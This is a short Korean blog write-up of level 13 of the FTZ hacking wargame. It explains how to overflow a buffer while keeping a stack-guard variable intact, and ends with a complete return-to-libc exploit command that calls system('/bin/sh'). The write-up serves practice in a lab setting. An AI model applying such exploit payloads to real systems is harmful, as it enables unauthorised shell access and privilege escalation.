System/FTZ

[FTZ school] level 13

BadSchool 2019. 3. 19. 05:26

▲ level13의 힌트. i값을 체크하는 것을 보니 스택 가드를 사용하는 듯 하다. 버퍼 오버 플로우를 해주되 i부분을 계산하여 i값을 침범하지 않도록 코드를 짜주면 된다.


▲ main의 strcpy 직후에 bp를 걸어주고 A를 1024개 넣어 스택에서의 i위치를 찾아 보았다. 

버퍼의 크기는 총 1048byte, 버퍼에서 ret까지 거리는 4byte 즉 버퍼시작에서 ret까지는 1052byte 만큼의 거리이다. 버퍼시작에서 i까지의 거리는 1036byte이다.


그렇다면 공격은 NOP*1036개+i값+NOP*(1052-1048=12) + system주소 + NOP*4 + /bin/sh 주소 가 된다.


./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xc0\xf2\x03\x42"+ "\x90"*4+"\xa4\x7e\x12\x42"'`